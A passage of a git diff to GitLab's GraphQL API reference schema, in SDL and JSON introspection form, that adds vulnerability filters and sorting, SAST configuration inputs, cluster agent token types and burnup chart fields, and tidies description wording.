assigneeUsername: String + + """ + Username of the author + """ + authorUsername: String + + """ Returns the elements in the list that come before the specified cursor. """ before: String @@ -11344,6 +12726,16 @@ type Project { mergedBefore: Time """ + Title of the milestone + """ + milestoneTitle: String + + """ + Sort merge requests by this criteria + """ + sort: MergeRequestSort = created_desc + + """ Array of source branch names. All resolved merge requests will have one of these branches as their source. """ sourceBranches: [String!] @@ -11567,7 +12959,7 @@ type Project { Search query """ search: String - ): ProjectMemberConnection + ): MemberInterfaceConnection """ Indicates if there is public access to pipelines and job details of the project, including output logs and artifacts @@ -11795,7 +13187,7 @@ type Project { ): ServiceConnection """ - Indicates if Shared Runners are enabled for the project + Indicates if shared runners are enabled for the project """ sharedRunnersEnabled: Boolean @@ -11894,6 +13286,16 @@ type Project { first: Int """ + Returns only the vulnerabilities which have linked issues + """ + hasIssues: Boolean + + """ + Returns only the vulnerabilities which have been resolved on default branch + """ + hasResolution: Boolean + + """ Returns the last _n_ elements from the list. """ last: Int @@ -11919,12 +13321,52 @@ type Project { severity: [VulnerabilitySeverity!] """ + List vulnerabilities by sort order + """ + sort: VulnerabilitySort = severity_desc + + """ Filter vulnerabilities by state """ state: [VulnerabilityState!] ): VulnerabilityConnection """ + Number of vulnerabilities per day for the project + """ + vulnerabilitiesCountByDay( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Last day for which to fetch vulnerability history + """ + endDate: ISO8601Date! + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + First day for which to fetch vulnerability history + """ + startDate: ISO8601Date! + ): VulnerabilitiesCountByDayConnection + + """ Vulnerability scanners reported on the project vulnerabilties """ vulnerabilityScanners( @@ -11950,9 +13392,34 @@ type Project { ): VulnerabilityScannerConnection """ - Counts for each severity of vulnerability of the project + Counts for each vulnerability severity in the project """ - vulnerabilitySeveritiesCount: VulnerabilitySeveritiesCount + vulnerabilitySeveritiesCount( + """ + Filter vulnerabilities by project + """ + projectId: [ID!] + + """ + Filter vulnerabilities by report type + """ + reportType: [VulnerabilityReportType!] + + """ + Filter vulnerabilities by scanner + """ + scanner: [String!] + + """ + Filter vulnerabilities by severity + """ + severity: [VulnerabilitySeverity!] + + """ + Filter vulnerabilities by state + """ + state: [VulnerabilityState!] + ): VulnerabilitySeveritiesCount """ Web URL of the project @@ -12001,7 +13468,7 @@ type ProjectEdge { } """ -Represents a Project Member +Represents a Project Membership """ type ProjectMember implements MemberInterface { """ @@ -12412,6 +13879,46 @@ type Query { instanceSecurityDashboard: InstanceSecurityDashboard """ + Get statistics on the instance + """ + instanceStatisticsMeasurements( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + The type of measurement/statistics to retrieve + """ + identifier: MeasurementIdentifier! + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): InstanceStatisticsMeasurementConnection + + """ + Find an issue + """ + issue( + """ + The global ID of the Issue + """ + id: IssueID! + ): Issue + + """ Find an iteration """ iteration( @@ -12476,6 +13983,11 @@ type Query { first: Int """ + Filter projects by IDs + """ + ids: [ID!] + + """ Returns the last _n_ elements from the list. """ last: Int @@ -12621,6 +14133,16 @@ type Query { first: Int """ + Returns only the vulnerabilities which have linked issues + """ + hasIssues: Boolean + + """ + Returns only the vulnerabilities which have been resolved on default branch + """ + hasResolution: Boolean + + """ Returns the last _n_ elements from the list. """ last: Int @@ -12646,6 +14168,11 @@ type Query { severity: [VulnerabilitySeverity!] """ + List vulnerabilities by sort order + """ + sort: VulnerabilitySort = severity_desc + + """ Filter vulnerabilities by state """ state: [VulnerabilityState!] @@ -12725,7 +14252,7 @@ type Query { } """ -State of a Geo registry. +State of a Geo registry """ enum RegistryState { """ @@ -12857,6 +14384,11 @@ type Release { Relative web path to the tag associated with the release """ tagPath: String + + """ + Indicates the release is an upcoming release + """ + upcomingRelease: Boolean } """ @@ -12864,6 +14396,11 @@ Represents an asset link associated with a release """ type ReleaseAssetLink { """ + Direct asset URL of the link + """ + directAssetUrl: String + + """ Indicates the link points to an external resource """ external: Boolean @@ -13014,6 +14551,11 @@ The connection type for Release. """ type ReleaseConnection { """ + Total count of collection + """ + count: Int! + + """ A list of edges. """ edges: [ReleaseEdge] @@ -13308,6 +14850,11 @@ type Requirement { iid: ID! """ + Latest requirement test report state + """ + lastTestReportState: TestReportState + + """ Project to which the requirement belongs """ project: Project! @@ -13437,7 +14984,7 @@ enum RequirementState { } """ -Counts of requirements by their state. +Counts of requirements by their state """ type RequirementStatesCount { """ @@ -13645,24 +15192,49 @@ Represents an analyzer entity in SAST CI configuration """ type SastCiConfigurationAnalyzersEntity { """ - Analyzer description that is displayed on the form. + Analyzer description that is displayed on the form """ description: String """ - Indicates whether an analyzer is enabled. + Indicates whether an analyzer is enabled """ enabled: Boolean """ - Analyzer label used in the config UI. + Analyzer label used in the config UI """ label: String """ - Name of the analyzer. + Name of the analyzer """ name: String + + """ + List of supported variables + """ + variables( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): SastCiConfigurationEntityConnection } """ @@ -13801,6 +15373,41 @@ type SastCiConfigurationEntityEdge { } """ +Represents an entity in SAST CI configuration +""" +input SastCiConfigurationEntityInput { + """ + Default value that is used if value is empty + """ + defaultValue: String! + + """ + CI keyword of entity + """ + field: String! + + """ + Current value of the entity + """ + value: String! +} + +""" +Represents a CI configuration of SAST +""" +input SastCiConfigurationInput { + """ + List of global entities related to SAST configuration + """ + global: [SastCiConfigurationEntityInput!] + + """ + List of pipeline entities related to SAST configuration + """ + pipeline: [SastCiConfigurationEntityInput!] +} + +""" Represents an entity for options in SAST CI configuration """ type SastCiConfigurationOptionsEntity { @@ -13990,7 +15597,7 @@ type SecurityReportSummarySection { } """ -The type of the security scanner. +The type of the security scanner """ enum SecurityScannerType { CONTAINER_SCANNING @@ -14022,7 +15629,7 @@ type SecurityScanners { } """ -A Sentry error. +A Sentry error """ type SentryDetailedError { """ @@ -14167,7 +15774,7 @@ type SentryDetailedError { } """ -A Sentry error. A simplified version of SentryDetailedError. +A Sentry error. A simplified version of SentryDetailedError """ type SentryError { """ @@ -14257,7 +15864,7 @@ type SentryError { } """ -An object containing a collection of Sentry errors, and a detailed error. +An object containing a collection of Sentry errors, and a detailed error """ type SentryErrorCollection { """ @@ -14310,7 +15917,7 @@ type SentryErrorCollection { searchTerm: String """ - Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default. + Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default """ sort: String ): SentryErrorConnection @@ -14369,7 +15976,7 @@ type SentryErrorFrequency { } """ -An object containing a stack trace entry for a Sentry error. +An object containing a stack trace entry for a Sentry error """ type SentryErrorStackTrace { """ @@ -14404,7 +16011,7 @@ type SentryErrorStackTraceContext { } """ -An object containing a stack trace entry for a Sentry error. +An object containing a stack trace entry for a Sentry error """ type SentryErrorStackTraceEntry { """ @@ -14533,6 +16140,7 @@ enum ServiceType { DISCORD_SERVICE DRONE_CI_SERVICE EMAILS_ON_PUSH_SERVICE + EWM_SERVICE EXTERNAL_WIKI_SERVICE FLOWDOCK_SERVICE GITHUB_SERVICE @@ -15023,7 +16631,87 @@ type TaskCompletionStatus { } """ -Represents a requirement test report. +Represents the sync and verification state of a terraform state +""" +type TerraformStateRegistry { + """ + Timestamp when the TerraformStateRegistry was created + """ + createdAt: Time + + """ + ID of the TerraformStateRegistry + """ + id: ID! + + """ + Error message during sync of the TerraformStateRegistry + """ + lastSyncFailure: String + + """ + Timestamp of the most recent successful sync of the TerraformStateRegistry + """ + lastSyncedAt: Time + + """ + Timestamp after which the TerraformStateRegistry should be resynced + """ + retryAt: Time + + """ + Number of consecutive failed sync attempts of the TerraformStateRegistry + """ + retryCount: Int + + """ + Sync state of the TerraformStateRegistry + """ + state: RegistryState + + """ + ID of the TerraformState + """ + terraformStateId: ID! +} + +""" +The connection type for TerraformStateRegistry. +""" +type TerraformStateRegistryConnection { + """ + A list of edges. + """ + edges: [TerraformStateRegistryEdge] + + """ + A list of nodes. + """ + nodes: [TerraformStateRegistry] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type TerraformStateRegistryEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: TerraformStateRegistry +} + +""" +Represents a requirement test report """ type TestReport { """ @@ -15095,6 +16783,13 @@ Time represented in ISO 8601 """ scalar Time +interface TimeboxBurnupTimeSeriesInterface { + """ + Daily scope and completed totals for burnup charts + """ + burnupTimeSeries: [BurnupChartDailyTotals!] +} + type Timelog { """ Timestamp of when the time tracked was spent at. Deprecated in 12.10: Use `spentAt` @@ -15107,6 +16802,11 @@ type Timelog { issue: Issue """ + The note where the quick action to add the logged time was executed + """ + note: Note + + """ Timestamp of when the time tracked was spent at """ spentAt: Time @@ -15167,7 +16867,7 @@ type Todo { action: TodoActionEnum! """ - The owner of this todo + The author of this todo """ author: User! @@ -15918,7 +17618,7 @@ input UpdateEpicInput { clientMutationId: String """ - Indicates if the epic is confidential. Will be ignored if `confidential_epics` feature flag is disabled + Indicates if the epic is confidential """ confidential: Boolean @@ -16068,6 +17768,11 @@ input UpdateIssueInput { dueDate: Time """ + The ID of the parent epic. NULL when removing the association + """ + epicId: ID + + """ The desired health status """ healthStatus: HealthStatus @@ -16243,6 +17948,11 @@ input UpdateRequirementInput { iid: String! """ + Creates a test report for the requirement with the given state + """ + lastTestReportState: TestReportState + + """ The project full path the requirement is associated with """ projectPath: ID! @@ -16293,21 +18003,11 @@ input UpdateSnippetInput { clientMutationId: String """ - Content of the snippet - """ - content: String - - """ Description of the snippet """ description: String """ - File name of the snippet - """ - fileName: String - - """ The global id of the snippet to update """ id: ID! @@ -16391,6 +18091,11 @@ type User { mergedBefore: Time """ + Title of the milestone + """ + milestoneTitle: String + + """ The global ID of the project the authored merge requests should be in. Incompatible with projectPath. """ projectId: ID @@ -16401,6 +18106,11 @@ type User { projectPath: String """ + Sort merge requests by this criteria + """ + sort: MergeRequestSort = created_desc + + """ Array of source branch names. All resolved merge requests will have one of these branches as their source. """ sourceBranches: [String!] @@ -16461,6 +18171,11 @@ type User { mergedBefore: Time """ + Title of the milestone + """ + milestoneTitle: String + + """ The global ID of the project the authored merge requests should be in. Incompatible with projectPath. """ projectId: ID @@ -16471,6 +18186,11 @@ type User { projectPath: String """ + Sort merge requests by this criteria + """ + sort: MergeRequestSort = created_desc + + """ Array of source branch names. All resolved merge requests will have one of these branches as their source. """ sourceBranches: [String!] @@ -16597,6 +18317,36 @@ type User { ): SnippetConnection """ + Projects starred by the user + """ + starredProjects( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Search query + """ + search: String + ): ProjectConnection + + """ State of the user """ state: UserState! @@ -16717,6 +18467,11 @@ type UserEdge { node: User } +""" +Identifier of User +""" +scalar UserID + type UserPermissions { """ Indicates the user can perform `create_snippet` on this resource @@ -16909,7 +18664,7 @@ type VulnerabilitiesCountByDayEdge { } """ -Represents a vulnerability. +Represents a vulnerability """ type Vulnerability { """ @@ -16918,6 +18673,11 @@ type Vulnerability { description: String """ + Timestamp of when the vulnerability was first detected + """ + detectedAt: Time! + + """ GraphQL ID of the vulnerability """ id: ID! @@ -17067,7 +18827,12 @@ enum VulnerabilityGrade { } """ -Represents a vulnerability identifier. +Identifier of Vulnerability +""" +scalar VulnerabilityID + +""" +Represents a vulnerability identifier """ type VulnerabilityIdentifier { """ @@ -17092,7 +18857,7 @@ type VulnerabilityIdentifier { } """ -Represents an issue link of a vulnerability. +Represents an issue link of a vulnerability """ type VulnerabilityIssueLink { """ @@ -17147,7 +18912,7 @@ type VulnerabilityIssueLinkEdge { } """ -The type of the issue link related to a vulnerability. +The type of the issue link related to a vulnerability """ enum VulnerabilityIssueLinkType { CREATED @@ -17355,7 +19120,7 @@ type VulnerabilityPermissions { } """ -The type of the security scan that found the vulnerability. +The type of the security scan that found the vulnerability """ enum VulnerabilityReportType { CONTAINER_SCANNING @@ -17367,7 +19132,42 @@ enum VulnerabilityReportType { } """ -Represents a vulnerability scanner. +Autogenerated input type of VulnerabilityResolve +""" +input VulnerabilityResolveInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + ID of the vulnerability to be resolveed + """ + id: VulnerabilityID! +} + +""" +Autogenerated return type of VulnerabilityResolve +""" +type VulnerabilityResolvePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The vulnerability after state change + """ + vulnerability: Vulnerability +} + +""" +Represents a vulnerability scanner """ type VulnerabilityScanner { """ @@ -17462,7 +19262,7 @@ type VulnerabilitySeveritiesCount { } """ -The severity of the vulnerability. +The severity of the vulnerability """ enum VulnerabilitySeverity { CRITICAL @@ -17474,7 +19274,22 @@ enum VulnerabilitySeverity { } """ -The state of the vulnerability. +Vulnerability sort values +""" +enum VulnerabilitySort { + """ + Severity in ascending order + """ + severity_asc + + """ + Severity in descending order + """ + severity_desc +} + +""" +The state of the vulnerability """ enum VulnerabilityState { CONFIRMED diff --git a/doc/api/graphql/reference/gitlab_schema.json b/doc/api/graphql/reference/gitlab_schema.json index 7ee37fb4d43..6458a676612 100644 --- a/doc/api/graphql/reference/gitlab_schema.json +++ b/doc/api/graphql/reference/gitlab_schema.json @@ -1837,7 +1837,7 @@ { "kind": "OBJECT", "name": "AwardEmoji", - "description": "An emoji awarded by a user.", + "description": "An emoji awarded by a user", "fields": [ { "name": "description", @@ -2716,7 +2716,7 @@ "description": "Filters applied when selecting issues on the board", "type": { "kind": "INPUT_OBJECT", - "name": "BoardEpicIssueInput", + "name": "BoardIssueInput", "ofType": null }, "defaultValue": null @@ -3042,8 +3042,18 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "BoardID", + "description": "Identifier of Board", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", - "name": "BoardEpicIssueInput", + "name": "BoardIssueInput", "description": null, "fields": null, "inputFields": [ @@ -3106,8 +3116,8 @@ "defaultValue": null }, { - "name": "epicId", - "description": "Filter by epic ID", + "name": "myReactionEmoji", + "description": "Filter by reaction emoji", "type": { "kind": "SCALAR", "name": "String", @@ -3116,11 +3126,11 @@ "defaultValue": null }, { - "name": "myReactionEmoji", - "description": "Filter by reaction emoji", + "name": "epicId", + "description": "Filter by epic ID. Incompatible with epicWildcardId", "type": { "kind": "SCALAR", - "name": "String", + "name": "ID", "ofType": null }, "defaultValue": null @@ -3140,7 +3150,27 @@ "description": "List of negated params. Warning: this argument is experimental and a subject to change in future", "type": { "kind": "INPUT_OBJECT", - "name": "NegatedBoardEpicIssueInput", + "name": "NegatedBoardIssueInput", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "search", + "description": "Search query for issue title or description", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "epicWildcardId", + "description": "Filter by epic ID wildcard. Incompatible with epicId", + "type": { + "kind": "ENUM", + "name": "EpicWildcardId", "ofType": null }, "defaultValue": null @@ -3151,16 +3181,6 @@ "possibleTypes": null }, { - "kind": "SCALAR", - "name": "BoardID", - "description": "Identifier of Board", - "fields": null, - "inputFields": null, - "interfaces": null, - "enumValues": null, - "possibleTypes": null - }, - { "kind": "OBJECT", "name": "BoardList", "description": "Represents a list for an issue board", @@ -3216,6 +3236,16 @@ "description": "Board issues", "args": [ { + "name": "filters", + "description": "Filters applied when selecting issues in the board list", + "type": { + "kind": "INPUT_OBJECT", + "name": "BoardIssueInput", + "ofType": null + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -3495,7 +3525,7 @@ "inputFields": [ { "name": "boardId", - "description": "The Global ID of the issue board to mutate", + "description": "Global ID of the issue board to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -3519,7 +3549,7 @@ }, { "name": "labelId", - "description": "ID of an existing label", + "description": "Global ID of an existing label", "type": { "kind": "SCALAR", "name": "LabelID", @@ -3528,6 +3558,26 @@ "defaultValue": null }, { + "name": "milestoneId", + "description": "Global ID of an existing milestone", + "type": { + "kind": "SCALAR", + "name": "MilestoneID", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "assigneeId", + "description": "Global ID of an existing user", + "type": { + "kind": "SCALAR", + "name": "UserID", + "ofType": null + }, + "defaultValue": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -3843,6 +3893,109 @@ }, { "kind": "OBJECT", + "name": "BurnupChartDailyTotals", + "description": "Represents the total number of issues and their weights for a particular day", + "fields": [ + { + "name": "completedCount", + "description": "Number of closed issues as of this day", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "completedWeight", + "description": "Total weight of closed issues as of this day", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "date", + "description": "Date for burnup totals", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ISO8601Date", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "scopeCount", + "description": "Number of issues as of this day", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "scopeWeight", + "description": "Total weight of issues as of this day", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "CiGroup", "description": null, "fields": [ @@ -4240,6 +4393,16 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "CiPipelineID", + "description": "Identifier of Ci::Pipeline", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "CiStage", "description": null, @@ -4497,6 +4660,59 @@ "deprecationReason": null }, { + "name": "tokens", + "description": "Tokens associated with the cluster agent", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgentTokenConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "updatedAt", "description": "Timestamp the cluster agent was updated", "args": [ @@ -4520,6 +4736,601 @@ }, { "kind": "OBJECT", + "name": "ClusterAgentConnection", + "description": "The connection type for ClusterAgent.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "ClusterAgentEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "ClusterAgent", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "ClusterAgentDeleteInput", + "description": "Autogenerated input type of ClusterAgentDelete", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "Global id of the cluster agent that will be deleted", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ClustersAgentID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ClusterAgentDeletePayload", + "description": "Autogenerated return type of ClusterAgentDelete", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ClusterAgentEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgent", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ClusterAgentToken", + "description": null, + "fields": [ + { + "name": "clusterAgent", + "description": "Cluster agent this token is associated with", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgent", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "createdAt", + "description": "Timestamp the token was created", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "Global ID of the token", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ClustersAgentTokenID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ClusterAgentTokenConnection", + "description": "The connection type for ClusterAgentToken.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "ClusterAgentTokenEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "ClusterAgentToken", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "ClusterAgentTokenCreateInput", + "description": "Autogenerated input type of ClusterAgentTokenCreate", + "fields": null, + "inputFields": [ + { + "name": "clusterAgentId", + "description": "Global ID of the cluster agent that will be associated with the new token", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ClustersAgentID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ClusterAgentTokenCreatePayload", + "description": "Autogenerated return type of ClusterAgentTokenCreate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "secret", + "description": "Token secret value. Make sure you save it - you won't be able to access it again", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "token", + "description": "Token created after mutation", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgentToken", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "ClusterAgentTokenDeleteInput", + "description": "Autogenerated input type of ClusterAgentTokenDelete", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "Global ID of the cluster agent token that will be deleted", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ClustersAgentTokenID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ClusterAgentTokenDeletePayload", + "description": "Autogenerated return type of ClusterAgentTokenDelete", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ClusterAgentTokenEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "ClusterAgentToken", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "SCALAR", + "name": "ClustersAgentID", + "description": "Identifier of Clusters::Agent", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "SCALAR", + "name": "ClustersAgentTokenID", + "description": "Identifier of Clusters::AgentToken", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "Commit", "description": null, "fields": [ @@ -5325,7 +6136,7 @@ "inputFields": [ { "name": "projectPath", - "description": "Full path of the project.", + "description": "Full path of the project", "type": { "kind": "NON_NULL", "name": null, @@ -5339,13 +6150,13 @@ }, { "name": "configuration", - "description": "Payload containing SAST variable values (https://docs.gitlab.com/ee/user/application_security/sast/#available-variables).", + "description": "SAST CI configuration for the project", "type": { "kind": "NON_NULL", "name": null, "ofType": { - "kind": "SCALAR", - "name": "JSON", + "kind": "INPUT_OBJECT", + "name": "SastCiConfigurationInput", "ofType": null } }, @@ -5412,14 +6223,32 @@ "deprecationReason": null }, { - "name": "result", - "description": "JSON containing the status of MR creation.", + "name": "status", + "description": "Status of 